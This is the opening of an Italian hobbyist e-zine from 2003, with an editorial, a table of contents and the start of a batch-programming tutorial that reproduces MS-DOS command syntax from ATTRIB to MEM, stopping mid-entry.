Copy Link
Add to Bookmark
Report
Gick-Zine 01
+--------------------------------------------------------------------------------+
| ________ __ __ __________ |
| / _____/|__| ____ | | __ \___ /__| ____ ____ |
| / \ ___| |/ ___\| |/ / ______ / /| |/ \_/ __ \ |
| \ \_\ \ \ \___| < /_____/ / /_| | | \ ___/ |
| \______ /__|\___ >__|_ \ /_____ \__|___| /\___ > |
| \/ \/ \/ \/ \/ \/ |
| |
| -=[{01}]=- |
| |
| SitoWeb: www.gick.cjb.net |
| e-m@il: mail@gick.cjb.net |
| |
| 01 Maggio 2003 |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| -=[DISCLAIMER]=- |
+--------------------------------------------------------------------------------+
| |
| Tutte le informazioni che troverete su questo txt sono da ritenersi a scopo |
| informativo, gli autori non si ritengono responsabili per l'uso che ne farete |
| o dei possibili danni che potreste causare a voi stessi o ad altri tramite |
| l'uso delle informazioni qui contenute. |
| |
| Anche se le cose qui esposte sono state testate, quindi non dovrebbero esserci |
| problemi gli autori non sono responsabili del mal funzionamento di programmi o |
| settaggi che, userete a vostro rischio e pericolo! |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 -=[index]=- |
| INDICE -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| Introduzione |
| |
| [@1] Editoriale -=(Gick)=- |
| [@2] Mail Lettori |
| [@3] Humor ?!?!?! |
| |
| Programmazione |
| |
| [01] Batch Programming {evilVal} |
| [02] NetBusFucker AntiLamer Bondo |
| [03] Lezioni di JavaScript n° 1 -=(Gick)=- |
| [04] Criptare con Visual Basic Termo Zlorfik |
| |
| Grafica |
| |
| [05] Ascii-Art Salvo B |
| [06] L'angolo della Demo Scene Gaetano |
| |
| Vari |
| |
| [07] Oggi mi monto un Web Server su Windows! [Screener_it] |
| [08] Oggi mi monto l'FTP su Windows [Screener_it] |
| [09] Trucchi Windows 9X Internet |
| [10] Manifesto CyberPunk CyberPunk |
| |
| Conclusione |
| |
| [#1] Cenni Finali -=(Gick)=- |
| [#2] Dove Trovarci -=(Gick)=- |
| |
| Allegati |
| |
| [*1] NetBusFucker.zip { [02] NetBusFucker AntiLamer } |
| [*2] JS_Lez_01.zip { [03] Lezioni di JavaScript n° 1 } |
| [*3] Encript.zip { [04] Criptare con Visual Basic } |
| [*4] Figlet.zip { [05] Ascii-Art } |
| [*5] Apache.zip { [07] Oggi mi monto un WebServer su Windows } |
| [*6] FictionalDaemon.zip { [08] Oggi mi monto l'FTP su Windows } |
| [*7] EditorGZ.zip { Editor di Testo per scrivere gli articoli } |
| |
+--------------------------------------------------------------------------------+
___ _ _ _
|_ _|_ __ | |_ _ __ ___ __| |_ _ ___(_) ___ _ __ ___
| || '_ \| __| '__/ _ \ / _` | | | |_ / |/ _ \| '_ \ / _ \
| || | | | |_| | | (_) | (_| | |_| |/ /| | (_) | | | | __/
|___|_| |_|\__|_| \___/ \__,_|\__,_/___|_|\___/|_| |_|\___|
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Introduzione] -=[@1]=- |
| Editoriale -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
|Benvenuti nella prima Uscita di questa Zine... |
| |
|In questa prima uscita ho aggiunto agli articoli creati dal gruppo altri artico-|
|li da me ritenuti opportuni scritti anche su altre Zine. |
| |
|Siete tutti invitati a inviare i vostri articoli a: articoli@gick.cjb.net e |
|saremo molto lieti di pubblicarli, premetto che questa Zine non vuole essere |
|come molte altre, che dicono tante cose e alla fine la metà delle persone non |
|capiscono nulla. Noi vogliamo creare una Zine che spiega poche cose ma le spiega|
|bene e sopratutto spiega cose concrete, non spiegheremo come hackare siti ecc...|
|Spiegheremo ad usare programmi, Trucchi e altre cose che tutti possono fare e |
|non cose che solo i guru si possono permettere! |
| |
|Spero di essermi "SPIEGATO"... quindi noi invitiamo tutti a scrivere e non solo |
|i "migliori", se hai trovato un modo per fare una cosa nel minor tempo possibile|
|scrivicela e noi la pubblicheremo. |
| |
|Inoltre il nostro gruppo è in continua crescita, se vuoi aggregarti chiedicelo! |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Introduzione] -=[#1]=- |
| Mail Lettori |
+--------------------------------------------------------------------------------+
| |
| Questa sezione è dedicata a voi lettori, le domande che ci porrete saranno es- |
| poste in questa sezione con le relative risposte in quanto sia possibile... |
| Allora che aspettate, scriveteci per riempire questa sezione!!! |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Introduzione] -=[#1]=- |
| Humor ?!?!?! |
+--------------------------------------------------------------------------------+
| |
| Tecnico: "Siccome questo modem non è Plug-n-Play, non può funzionare su Win3.11|
| Dovrà acquistarne uno nuovo oppure passare a Windows95" |
| Cliente: "Ma ho usato questo modem con Win3.11 per un anno senza problemi!" |
| Tecnico: "Beh, ora non funziona!" |
| Cliente: "Ma se ha funzionato, perché ora non dovrebbe adare?" |
| Tecnico: "Beh, potrebbe essere stato colpito da un fulmine, e quindi ora può |
| funzionare solo con Windows95!!!"
| |
+--------------------------------------------------------------------------------+
____ _
| _ \ _ __ ___ __ _ _ __ __ _ _ __ ___ _ __ ___ __ _ ___(_) ___ _ __ ___
| |_) | '__/ _ \ / _` | '__/ _` | '_ ` _ \| '_ ` _ \ / _` |_ / |/ _ \| '_ \ / _ \
| __/| | | (_) | (_| | | | (_| | | | | | | | | | | | (_| |/ /| | (_) | | | | __/
|_| |_| \___/ \__, |_| \__,_|_| |_| |_|_| |_| |_|\__,_/___|_|\___/|_| |_|\___|
|___/
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Programmazione] -=[01]=- |
| Batch Programming ver 1.1 {evilVal} |
+--------------------------------------------------------------------------------+
|================================================================================|
|=====| |=====|
|=====| XXXx XXX XXXXX xXXx X X PROGRAMMING |=====|
|=====| X X X X X X X X |=====|
|=====| X X X X X X X X by -=< eViLVaL >=- |=====|
|=====| XXXX XXXXX X X XXXXX |=====|
|=====| X X X X X X X X ver 1.1 |=====|
|=====| X X X X X X X X |=====|
|=====| XXXX X X X XXXX X X digilander.iol.it/eViLVaL |=====|
|=====| |=====|
|================================================================================|
+--------------------------------------------------------------------------------+
| =======================|DISCLAIMER|======================== |
| ===|Questo manuale è stato scritto a scopo dimostrativo|=== |
| ===|Quello che farete dopo averlo letto non rientra nel|=== |
| ===|le mie responsabilità. Fatene buon uso. |=== |
| ===|Altra cosa ... se credete che abbia scritto solo |=== |
| ===|un mucchio di cazzate, siete liberissimi di farlo. |=== |
| ===|Solo, pregate che non trovi il vostro indirizzo di |=== |
| ===|posta elettronica :-) |=== |
| =========================================================== |
+--------------------------------------------------------------------------------+
| ==[ MENU ]== |
| |
| -01- COSA SONO I BATCH? |
| -02- COSA MI SERVE PER SCRIVERE UN BATCH? |
| -03- INIZIAMO A CAPIRE QUALCOSA |
| -04- L'USO DEI CARATTERI JOLLY |
| -05- IL COMANDO "ECHO" |
| -06- SCRIVIAMO IL NOSTRO PRIMO BATCH |
| -07- FACCIAMO PARTIRE IL NOSTRO BATCH |
| -08- INVENTIVA |
| -09- REDIREZIONARE L'OUTPUT |
| -10- L'USO DEL PIPELINE |
| -11- L'USO DEL COMANDO "FOR" |
| -12- L'USO DELL' IF EXIST / IF NOT EXIST |
| -13- L'USO DI "GOTO" |
| -14- L'USO DI "REM" |
| -15- L'USO DI "CHOICE" |
| -16- IL CARATTERE FANTASMA ALT 255 |
| -17- IL MISTERO (O IL BUG?) DEL CESTINO BASTARDO |
| -18- UN ESEMPIO DI BATCH CREATO DA ME |
| -19- RUNDLL32 - LE FUNZIONI OCCULTATE |
| -20- UNA MOSTRUOSITA' |
| -21- TIRANDO LE SOMME |
+--------------------------------------------------------------------------------+
| |
|-=< 1 >=- COSA SONO I BATCH ? |
| |
|Tempo fa (parliamo di anni), le interfacce grafiche non erano molto diffuse |
|e i sistemi operativi erano per lo piu' a stringa di testo, come ad esempio |
|Microsoft MsDos®. |
| |
|Chi doveva lavorare con sistemi come questi aveva una problematica principale, |
|cioè il continuare a ripetere le stesse operazioni più e più volte. |
|Ad esempio, se ad ogni sessione l'utente necessitava di spostare delle cartelle,|
|dei files o qualcos'altro, doveva continuare a digitare dei comandi molto |
|ripetitivi. |
| |
|Per questo motivo sono stati introdotti due modi di velocizzare il lavoro. |
|Le "DOSKEY" e i "BATCH". |
| |
|Le DOSKEY consistevano nel caricare in memoria una sequenza di comandi da poter|
|caricare digitando un nome prefissato. Voglio dire, potevo decidere che digitan-|
|do "lavora" il computer si mettesse a spostarmi una cartella o a eliminarmi dei |
|files inutili. |
|Le DOSKEY pero' andavano ripristinate ad ogni avvio del computer, e per questo |
|non vennero molto usate. |
| |
|L'altro modo, quello che ci interessa, sono i BATCH. |
|I BATCH sono dei piccolissimi files con estensione .BAT che racchiudono all'in- |
|terno dei comandi di DOS. Una volta avviati, eseguono tutti quei comandi di fila|
|e si arrestano soltanto premendo Ctrl+C. |
|La differenza sostanziale con le DOSKEY è che i batch sono FILES mentre le |
|DOSKEY no. E i BATCH restano ... eccome se restano! |
+--------------------------------------------------------------------------------+
| |
|-=< 2 >=- COSA MI SERVE PER SCRIVERE UN BATCH |
| |
|Va benone il Prompt di MsDos o un qualsiasi editor di testo BASICO come il |
|diffusissimo NOTEPAD. Ahem ... WORD non va bene! Er mejo resta MsDos... |
+--------------------------------------------------------------------------------+
| |
|-=< 3 >=- INIZIAMO A CAPIRE QUALCOSA |
| |
|Qua di seguito voglio listare tutti i comandi di MsDos, anche perchè se non |
|conoscete a fondo i comandi principali , col cazzo che farete dei grandi BATCH! |
| |
|MS-DOS, come gli altri sistemi eperativi, gestisce il flusso di informazioni tra|
|le varie parti del sistema. Quando si digita o si sceglie un comando per |
|indicare al sistema di eseguire una determinata operazione, si utilizza MS-DOS. |
|Le versioni piu' recenti del sistema operativo della Microsoft ( dalla ver. 5.0 |
|alla 6.22, ma anche la ver. 7.0 contenuta in Windows 9.x) consentono di gestire|
|file e directory, curare la manutenzione dei dischi, ottimizzare l'uso della |
|memoria, velocizzare i programmi. |
+--------------------------------------------------------------------------------+
|Qui di seguito sono riportati i comandi di uso comune. |
| |
| ATTRIB Visualizza o modifica gli attributi dei file. |
| CD Cambia la directory corrente o ne visualizza il nome. |
| CHDIR Cambia la directory corrente o ne visualizza il nome. |
| CHKDSK Verifica il disco e visualizza una relazione sul suo stato. |
| CLS Cancella il contenuto della schermata. |
| COMMAND Avvia un nuovo inteprete dei comandi MS-DOS. |
| COPY Copia uno o piu' file in un altro punto del disco. |
| DEFRAG Riorganizza i file su un disco per ottimizzarne l'uso. |
| DEL Elimina uno o piu' file. |
| DELTREE Elimina una directory e tutti i file in essa contenuti. |
| DIR Visualizza l'elenco dei file e delle subdirectory di una directory. |
| DISKCOPY Copia il contenuto di un disco floppy in un altro disco floppy. |
| DOSKEY Modifica righe di comando, chiama comandi di MS-DOS e crea macro. |
| EDIT Avvia MS-DOS Editor per creare e modificare i file ASCII. |
| EMM386 Abilita o disabilita la memoria espansa di EMM386. |
| EXPAND Decomprime uno o piu' file compressi. |
| FDISK Configura un disco rigido per l'utilizzo con MS-DOS. |
| FORMAT Formatta un disco per l'utilizzo con MS-DOS. |
| KEYB Configura la tastiera per la lingua specificata. |
| LABEL Crea, modifica o elimina l'etichetta di volume di un disco. |
| MD Crea una nuova directory. |
| MEM Visualizza la quantità di memoria usata e libera del sistema. |
| MKDIR Crea una nuova directory. |
| MORE Visualizza i dati di output una schermata per volta. |
| PATH Visualizza o imposta un percorso di ricerca per i file eseguibili. |
| PRINT Stampa un file di testo consentendo di usare altri comandi di MSDOS. |
| PROMPT Cambia il prompt dei comandi di MS-DOS. |
| RD Rimuove una directory. |
| REN Rinomina uno o piu' file. |
| RENAME Rinomina uno o piu' file. |
| REPLACE Sostituisce i file. |
| RMDIR Rimuove una directory. |
| SUBST Associa un percorso ad una lettera di unità. |
| SYS Copia i file di sistema di MS-DOS e l'inteprete dei comandi. |
| TYPE Visualizza il contenuto di un file di testo. |
| UNDELETE Ripristina i file cancellati precedentemente con il comando DEL. |
| UNFORMAT Ripristina i dati di un disco cancellati con il comando FORMAT. |
| VER Visualizza la versione di MS-DOS in uso. |
| VOL Visualizza l'etichetta e il numero di serie di volume del disco. |
| XCOPY Copia i file (esclusi nascosti di sistema) e la struttura delle directory|
+--------------------------------------------------------------------------------+
| |
| ATTRIB |
| |
|Visualizza o modifica gli attributi dei file. |
|Questo comando visualizza, imposta o rimuove gli attributi assegnati ai file e |
|alle directory, quali l'attributo di sola lettura, di archivio, di file di |
|sistema e di file nascosto. |
| |
| ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H][[unita':][percorso]nomefile] [/S] |
| |
| Opzioni |
| +R Imposta l'attributo di sola lettura. |
| -R Disattiva l'attributo di sola lettura. |
| +A Imposta l'attributo archivio. |
| -A Disattiva l'attributo archivio. |
| +S Imposta il file come file di sistema. |
| -S Disattiva l'attributo di file di sistema. |
| +H Imposta il file come file nascosto. |
| -H Disattiva l'attributo di file nascosto. |
| /S Elabora i file presenti nella directory ed in tutte le sottodirectory. |
+--------------------------------------------------------------------------------+
| |
| DISKCOPY |
| |
|Copia il contenuto di un disco floppy nell'unita' di origine su un floppy |
|formattato o non formattato inserito nell'unita' di destinazione. Il comando |
|DISKCOPY cancella il contenuto del disco di destinazione sovrascrivendovi i |
|nuovi dati. |
|Questo comando determina il numero di facce da copiare in base all'unita' e al |
|disco di origine. |
| |
| DISKCOPY [unita'1: [unita'2:]] [/1] [/V] [/M] |
| |
| Opzioni |
| /V Verifica che le informazioni vengano copiate correttamente. L'utilizzo di |
| questa opzione rallenta l'operazione. |
| /M Indica a DISKCOPY di usare solo memoria convenzionale per memorizzazioni |
| provvisorie. DISKCOPY usa di solito il disco rigido per tale operazione, |
| sicche' non si debbono scambiare i floppy. |
+--------------------------------------------------------------------------------+
| |
| CHDIR (CD) |
| |
|Visualizza il nome della directory corrente oppure cambia la directory corrente.|
| |
| CHDIR [unita':][path] |
| CHDIR[..] |
| CD [unita':][percorso] |
| CD[..] |
+--------------------------------------------------------------------------------+
| |
| CHKDSK |
| |
|Genera e visualizza una relazione sullo stato del disco e riporta gli errori |
|individuati sul disco. |
|Il rapporto sullo stato mostra gli errori rilevati nel sistema di archiviazione |
|MS-DOS, consistente nella tavola allocazione file e nelle directory. |
|Anche CHKDSK fornisce un riepilogo dell'uso del disco. (CHKDSK non verifica che |
|le informazioni nei file possano essere lette senza errori.) Se vi sono errori |
|su disco, CHKDSK visualizza un messaggio. |
|Note: Il programma ScanDisc e' il metodo consigliato per correggere problemi |
| su disco, da preferire al comando CHKDSK /F. Per ulteriori informazioni, |
| vedere il comando. |
| |
| CHKDSK [unita':][[percorso] nomefile] [/F] [/V] |
| |
| Opzioni |
| /F Corregge gli errori su disco. Non utilizzare questa opzione se si sta |
| eseguendo CHKDSK da altri programmi. Per ulteriori informazioni, consultare|
| "Utilizzo di CHKDSK con file aperti". In generale, per correggere gli |
| errori del disco, utilizzare invece di CHKDSK. |
| /V Visualizza il nome di ciascun file contenuto in tutte le directory, durante|
| il controllo del disco. |
+--------------------------------------------------------------------------------+
| |
| COPY |
| |
|Copia uno o piu' file in un'altra posizione. |
|Il comando COPY puo' essere utilizzato anche per unire file. Se vengono copiati |
|piu' file, MS-DOS visualizza il nome di ciascun file man mano che viene copiato.|
| |
| COPY [Y|-Y][/A|/B] origine[/A|/B] [+ origine[/A|/B] [+ |
| ...]][destinazione [/A|/B]] [/V] |
| |
| Opzioni |
| /A Indica un file di testo ASCII. L'opzione /A ha effetto su tutti i file che |
| essa precede nell'elenco dei nomi di file sulla riga di comando, fino a |
| quando COPY non incontra un'opzione /B. In tal caso, l'opzione /B ha |
| effetto su tutti i file che la precedono. |
| Quando l'opzione /A segue un nome di file, essa avra' effetto su quel file |
| e su tutti i file ad essa successivi, fino a quando COPY non incontra |
| l'opzione /B. In tal caso, l'opzione /B avra' effetto su tutti i file che |
| la precedono. |
| Un file di testo ASCII puo' utilizzare il carattere di fine file (CTRL+Z) |
| per indicare la fine di un file. Durante l'unione di file, il comando COPY |
| considera per definizione i file come file di testo ASCII. |
| /B Indica un file binario. L'opzione /B ha effetto su tutti i file che la |
| precedono sulla riga di comando, fino a quando il comando COPY non incontra|
| un'opzione /A. In tal caso, l'opzione /A avra' effetto su tutti i file che |
| la precedono. |
| Se l'opzione /B segue un nome di file, essa avra' effetto su quel file e su|
| tutti i file ad essa successivi, fino a quando COPY non incontra un'opzione|
| /A. In tal caso, l'opzione /A avra' effetto su tutti i file che la |
| precedono. |
| L'opzione /B specifica che l'interprete dei comandi deve leggere il numero |
| di byte specificati dalle dimensioni dei file nella directory. |
| L'opzione /B e' il valore predefinito di COPY, tranne quando esso sta |
| unendo dei file. |
+--------------------------------------------------------------------------------+
| |
| DEFRAG |
| |
|Riorganizza i file su un disco per ottimizzare le prestazioni del disco stesso. |
|Non utilizzare questo comando durante l'esecuzione di Windows. |
| |
| DEFRAG [unita':] [/F] [/S[:]ordine] [/B] [/SKIPHIGH] [/LCD | /BW | /G0] [/H] |
| DEFRAG [unita':] [/U] [/B] [/SKIPHIGH] [/LCD | /BW | /G0] [/H] |
| |
| Opzioni |
| /F Compatta i file e garantisce che nel disco non siano presenti spazi vuoti |
| tra i file. |
| /U Compatta i file e lascia spazi vuoti, se presenti, tra i file. |
| /B Riavvia il computer dopo avere riorganizzato i file. |
| /H Sposta file nascosti |
+--------------------------------------------------------------------------------+
| |
| DEL (Erase) |
| |
|Elimina i file specificati. |
| |
| DEL [unita':][percorso] nomefile [/P] |
| |
| Opzione |
| /P Chiede conferma prima di eliminare il file specificato. |
+--------------------------------------------------------------------------------+
| |
| DELTREE |
| |
|Elimina una directory con tutti i file e sottodirectory relative. |
| |
| DELTREE [/Y] [unita':]percorso [[drive:]percorso[...]] |
+--------------------------------------------------------------------------------+
| |
| DIR |
| |
|Visualizza l'elenco dei file e delle sottodirectory di una directory. |
|Quando si utilizza il comando DIR senza parametri od opzioni, esso visualizza |
|l'etichetta di volume e il numero di serie del disco. Visualizza inoltre una |
|directory o un file per riga, inclusa l'estensione del file, la relativa |
|dimensione in byte e la data e l'ora dell'ultima modifica. Infine, il comando |
|riporta il numero totale dei file elencati, la quantita' totale di memoria |
|occupata ed il numero di byte lasciati liberi sul disco. |
| |
| DIR [unita':][percorso][nomefile] [/P] [/W] |
| [/A[[:]attributi]][/O[[:]tipoordinamento]] [/S] [/B] [/L] [C] |
| |
| Opzioni |
| /P Visualizza l'elenco una schermata per volta. Per passare alla schermata |
| successiva, e' sufficiente premere un tasto. |
| /W Visualizza l'elenco in formato ampio, elencando fino a cinque file o |
| directory per riga. |
| /A[[:] attributi] visualizza solo le directory e i file con gli attributi |
| specificati. Se questa opzione viene omessa, il comando DIR visualizza |
| tutti i file tranne quelli nascosti e di sistema. Se l'opzione viene |
| utilizzata senza specificare gli attributi, DIR visualizza tutti i file, |
| compresi quelli nascosti e di sistema. L'elenco che segue descrive ciascuno|
| dei valori che e' possibile utilizzare per attributi. I due punti (:) sono |
| facoltativi. E' possibile utilizzare una qualsiasi combinazione di questi |
| valori senza separarli con spazi. |
| H File nascosti |
| -H File non nascosti |
| S File di sistema |
| -S File non di sistema |
| D Directory |
| -D Solo file (escluse le directory) |
| A File pronti per essere archiviati (backup) |
| -A File che non sono stati modificati dall'ultimo backup |
| R File di sola lettura |
| -R File non di sola lettura |
+--------------------------------------------------------------------------------+
| |
| DOSKEY |
| |
|Doskey e' un programma residente in memoria e viene utilizzato per personalizare|
|e automatizzare la riga di comando MS-DOS. Quando viene installato, Doskey |
|occupa circa 3 Kb di memoria residente. |
| |
| DOSKEY [/REINSTALL] [/BUFSIZE=dimensione] [/MACROS] |
| [/HISTORY][/INSERT|/OVERSTRIKE] [nomemacro=[testo]] |
+--------------------------------------------------------------------------------+
| |
| EDIT |
| |
|Avvia MS-DOS Editor che consente di creare e modificare file di testo ASCII. |
|MS-DOS Editor e' un editor a schermo intero che consente di creare, modificare, |
|memorizzare e stampare file di testo ASCII. In MS-DOS Editor e' possibile |
|scegliere i comandi da menu e specificare le informazioni e le preferenze nelle |
|finestre di dialogo. MS-DOS Editor comprende un'ampia Guida in linea per |
|richiedere informazioni relative alle sue procedure ed ai suoi comandi. |
| |
| EDIT [[unita':][percorso]nomefile] [/B] [/G] [/H] [/NOHI] |
| |
|ATTENZIONE: Per poter utilizzare MS-DOS Editor e' necessario che il file |
|QBASIC.EXE si trovi nella directory corrente, nel relativo percorso di ricerca |
|o nella stessa directory del file EDIT.COM. Se il file QBASIC.EXE viene |
|eliminato per liberare spazio sul disco MS-DOS Editor non potra' essere eseguito|
+--------------------------------------------------------------------------------+
| |
| EMM386 |
| |
|Abilita o disabilita il supporto di memoria espansa EMM386 su un computer con |
|processore 80386 o superiore. Il comando EMM386 abilita o disabilita anche il |
|supporto del coprocessore Weitek. Non utilizzare questo comando durante |
|l'esecuzione di Windows. Esso inoltre provvede supporto di memoria espansa e |
|accesso alla memoria superiore. Per un'introduzione sull'utilizzo dei driver di |
|periferica EMM386.EXE, vedere. |
| |
| EMM386 [ON|OFF|AUTO] |
| |
|Per visualizzare lo stato attuale del supporto di memoria espansa EMM386, utiliz|
|zare la sintassi seguente: EMM386 |
| |
| Parametri |
| ON|OFF|AUTO |
| Attiva il driver di periferica EMM386.EXE (se impostato su ON), sospende il |
| driver di periferica EMM386.EXE (se impostato su OFF) oppure posiziona il |
| driver di periferica EMM386.EXE in modalita' automatica se impostato su AUTO.|
| La modalita' automatica abilita il supporto di memoria espansa solamente |
| quando un programma lo richiede. Il valore predefinito ON. |
+--------------------------------------------------------------------------------+
| |
| EXPAND |
| |
|Espande un file compresso. E' possibile utilizzare questo comando per recuperare|
|uno o piu' file dai dischi di installazione o di aggiornamento inclusi nel |
|pacchetto di MS-DOS 6.22. I file non possono essere utilizzati finche' non |
|vengono decompressi. |
| |
| EXPAND [unita':][percorso]nomefile [[unita':] |
| [percorso]nomefile[...]] destinazione |
| |
|Se viene digitato quanto segue, EXPAND chiedera' di immettere la posizione e/o |
|il nome che si desidera assegnare al file espanso: |
| |
| EXPAND [unita':][percorso]nomefile |
| |
|EXPAND chiedera' di immettere la posizione e il nome del file compresso da |
|espandere, quindi la posizione e/o il nome da assegnare al file espanso, se si |
|digita quanto segue: EXPAND |
+--------------------------------------------------------------------------------+
| |
| FDISK |
| |
|Avvia il programma Fdisk, che configura il disco rigido per l'utilizzo di MSDDOS|
|Fdisk visualizza una serie di menu per facilitare la suddivisione in partizioni |
|del disco rigido per MSDDOS. |
| |
| FDISK |
| |
|Per visualizzare le informazioni sulla partizione senza avviare il programma |
|Fdisk, utilizzare la seguente sintassi: FDISK /STATUS |
| |
| Opzioni |
| /STATUS |
| Visualizza una panoramica delle partizioni del disco rigido del computer, |
| senza avviare il programma Fdisk. |
+--------------------------------------------------------------------------------+
| |
| FORMAT |
| |
|Formatta il disco nell'unita' specificata per accettare i file di MSDDOS. |
|Il comando FORMAT crea una nuova directory principale e una tabella di |
|assegnazione dei file per il disco. E' anche possibile controllare le aree |
|danneggiate sul disco ed eliminare tutti i dati sul disco. Per consentire a |
|MSDDOS di utilizzare un disco nuovo, utilizzare innanzi tutto questo comando per|
|formattare il disco. |
| |
| FORMAT unita': [/V[:etichetta]] [/Q] [/U] [/F:dimensione][/B|/S] [/C] |
| FORMAT unita': [/V[:etichetta]] [/Q] [/U] [/T:tracce /N:settori] [/B|/S][/C] |
| FORMAT unita': [/V[:etichetta]] [/Q] [/U] [/1] [/4] [/B|/S] [/C] |
| FORMAT unita': [/Q] [/U] [/1] [/4] [/8] [/B|/S] [/C] |
| |
|Avvertenza: Non formattare un disco floppy in misura maggiore a quella attribui |
|tagli. Se il disco e' stato formattato e non si sta utilizzando il parametro /U,|
|la vecchia tabella di assegnazione dei file e la directory principale verranno |
|salvate per poter annullare la formattazione del disco. Se e' stato formattato |
|il disco sbagliato utilizzare il comando il piu' presto possibile. |
| |
| Opzioni |
| /Q Specifica una formattazione veloce di un disco. Tramite questa opzione, |
| FORMAT elimina la tabella di assegnazione dei file (FAT) e la directory |
| principale di un disco formattato in precedenza, ma non esamina il disco |
| per verificare la presenza di aree danneggiate. Si dovrebbe utilizzare |
| l'opzione /Q per formattare solo dischi gia' formattati in precedenza che |
| non sono sicuramente danneggiati. |
| /U Specifica un'operazione di formattazione incondizionata per un disco |
| floppy o un disco rigido. La formattazione incondizionata distrugge tutti i|
| dati esistenti sul disco ed impedisce di annullare la formattazione in un |
| secondo tempo. E' consigliabile utilizzare /U se sono stati visualizzati |
| messaggi di errori di lettura e di scrittura durante l'utilizzo del disco. |
| Per informazioni relative alla non formattazione dei dischi, vedere il |
| comando UNFORMAT. |
| /F:size |
| Specifica la dimensione del disco floppy da formattare. Se possibile, |
| utilizzare questa opzione, invece delle opzioni /T e /N. Utilizzare uno dei|
| seguenti valori per la dimensione: 720, 1440 . |
| /B Riserva dello spazio per i file di sistema IO.SYS e MSDOS.SYS su un disco |
| appena formattato (come file nascosti). Nelle versioni precedenti di MSDDOS|
| era necessario riservare questo spazio prima di utilizzare il comando SYS |
| per copiare i file di sistema sul disco. Questa opzione viene mantenuta |
| MSDDOS versione 6.0 solo per ragioni di compatibilita'. |
| /S Copia i file di sistema in uso IO.SYS, MSDOS.SYS e COMMAND.COM dall'unita' |
| disco di avvio del sistema su un disco formattato che puo' essere utilizzat|
| come disco di sistema. Se FORMAT non riesce a trovare i file di sistema in |
| uso, richiede l'inserimento di un disco di sistema. |
| /C Ricontrolla i cluster danneggiati. Per impostazione predefinita, se un |
| unita' contiene cluster segnati come "danneggiati" FORMAT non ricontrolla i|
| cluster; li lascia semplicemente segnati come "danneggiati". Utilizzare |
| l'opzione /C se si desidera che FORMAT ricontrolli tutti i cluster |
| danneggiati sull'unita'. (Nelle versioni precedenti di MS-DOS FORMAT |
| ricontrollava sempre i cluster danneggiati.) |
+--------------------------------------------------------------------------------+
| |
| KEYB |
| |
|Avvia il programma Keyb che configura una tastiera in base ad una lingua scelta |
|Utilizzare Keyb per configurare una tastiera per una lingua diversa dall'inglese|
|statunitense. Per un'introduzione al programma Keyb, vedere il capitolo |
|"Personalizzazione per uso internazionale"nel Manuale dell'utente di MS-DOS. |
| |
| KEYB [xx[,[yyy][,[unita' disco:][percorso]nomefile]]] [/E] [/ID:nnn] |
| |
| Parametri |
| xx Specifica il codice della tastiera. Vedere la tabella alla fine dell'argo- |
| mento per un elenco dei valori validi per questo parametro. |
| yyy Specifica la tabella codici. Vedere la tabella alla fine dell'argomento per|
| un elenco dei valori validi per questo parametro. Se non viene specificato |
| un valore, KEYB utilizza la tabella codici corrente. |
| [unita':][percorso]nomefile |
| Specifica la posizione ed il nome del file di definizione della tastiera. |
| Il nome del file predefinito e' KEYBOARD.SYS. Se KEYBOARD.SYS si trova in |
| una directory inclusa nel percorso, non sara' necessario specificare questo |
| parametro. (MS-DOS 6.22 include due file di definizione della tastiera: il |
| file predefinito KEYBOARD.SYS, e KEYBRD2.SYS, che fornisce supporto per |
| tastiere non incluse in KEYBOARD.SYS. Per informazioni sull'utilizzo di |
| KEYBRD2.SYS, vedere il file COUNTRY.TXT file.) |
| |
| [unita'-dos:]percorso dos |
| Specifica la posizione del file KEYB.COM. |
| |
| Opzioni |
| /E Indica che la tastiera installata e' avanzata. tale opzione risulta utile se|
| si utilizza una tastiera avanzata su un computer 8086. |
| /ID:nnn |
| Specifica il tipo di tastiera in uso. Questa opzione e' necessaria solo per |
| i paesi che hanno piu' schemi di tastiera per la stessa lingua (Francia, |
| Italia e Regno Unito). |
+--------------------------------------------------------------------------------+
| |
| LABEL |
| |
|Crea, modifica o elimina l'etichetta di volume (nome) di un disco. |
|MS-DOS visualizza l'etichetta di volume all'interno dell'elenco della directory.|
|MS-DOS visualizza anche il numero di serie del volume, se e' disponibile. |
| |
|LABEL [unita':][etichetta] |
| |
|Per indicare a MS-DOS di visualizzare l'etichetta di volume ed il numero di seri|
|correnti, se esistono, e di richiedere l'immissione di un'etichetta o l'elimina-|
|zione di quella esistente, utilizzare la seguente sintassi: LABEL |
+--------------------------------------------------------------------------------+
| |
| MEM |
| |
|Visualizza la quantita' di memoria utilizzata e la quantita' di memoria libera |
|nel sistema. |
|E' possibile utilizzare il comando MEM per visualizzare le informazioni |
|relative alle aree di memoria utilizzate, alle aree di memoria libere ed ai |
|programmi caricati in memoria. |
| |
| MEM [/CLASSIFY|/DEBUG|/FREE|/MODULE nomemodulo] [/PAGE] |
| |
|Per visualizzare lo stato della memoria utilizzata e della memoria libera del |
|sistema, utilizzare la seguente sintassi: MEM |
| |
| Opzioni |
| /CLASSIFY |
| Elenca i programmi che sono stati caricati effettivamente nella memoria e |
| visualizza la quantita' di memoria convenzionale e di memoria superiore utiliz|
| zata da ogni programma. MEM /CLASSIFY fornisce anche un sommario dell'utilizzo|
| di memoria ed elenca i blocchi di memoria piu' grandi a disposizione. |
